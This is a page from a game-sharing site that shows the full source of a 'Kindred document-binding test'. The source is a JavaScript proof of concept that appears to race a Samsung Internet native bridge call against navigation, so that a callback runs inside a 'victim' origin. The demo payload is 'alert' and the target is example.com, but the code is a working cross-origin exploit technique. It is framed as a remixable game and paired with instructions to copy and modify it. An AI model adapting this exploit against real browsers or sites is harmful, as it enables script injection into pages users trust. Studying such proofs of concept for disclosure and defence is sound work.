🎮ArcadeLab

Kindred document-binding test v6

by BlazeCaptain56
50 lines1.7 KB
▶ Play
<!doctype html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Kindred document-binding test</title>
<style>
  body { font: 16px system-ui; max-width: 42rem; margin: 4rem auto; padding: 1rem; }
  code { background: #eee; padding: .15rem .3rem; }
</style>
<h1>Kindred document-binding test</h1>
<p id="status">Waiting for the Samsung Internet test interface…</p>
<script>
(() => {
  const status = document.querySelector('#status');
  const key = 'kindred-document-binding-reloads';
  const bridge = window.KindredWebInterface;

  if (!bridge || typeof bridge.findCouponsAndTemplates !== 'function') {
    const reloads = Number(sessionStorage.getItem(key) || 0);
    if (reloads < 2) {
      sessionStorage.setItem(key, String(reloads + 1));
      status.textContent = 'Interface not attached yet; reloading once…';
      setTimeout(() => location.reload(), 1400);
    } else {
      status.textContent = 'Interface unavailable. This page is inert in other browsers.';
    }
    return;
  }

  sessionStorage.removeItem(key);
  status.textContent = 'Preparing the ordinary victim page…';

  const victimWarmup = document.createElement('iframe');
  victimWarmup.hidden = true;
  victimWarmup.src = 'https://example.com/';
  victimWarmup.onload = () => {
    const marker = Date.now();
    const uncachedDomain = `kindred-race-${marker}.squarespace.com`;
    status.textContent = 'Queued a benign asynchronous call; navigating to the victim origin…';
    bridge.findCouponsAndTemplates(
      uncachedDomain,
      JSON.stringify({ url: location.href, sequence: 0 }),
      'alert',
      41
    );
    location.replace('https://example.com/');
  };
  document.body.append(victimWarmup);
})();
</script>

Game Source: Kindred document-binding test v6

Creator: BlazeCaptain56

Libraries: none

Complexity: moderate (50 lines, 1.7 KB)

The full source code is displayed above on this page.

Remix Instructions

To remix this game, copy the source code above and modify it. Add a ARCADELAB header at the top with "remix_of: kindred-document-binding-test-v6-blazecaptain56" to link back to the original. Then publish at arcadelab.ai/publish.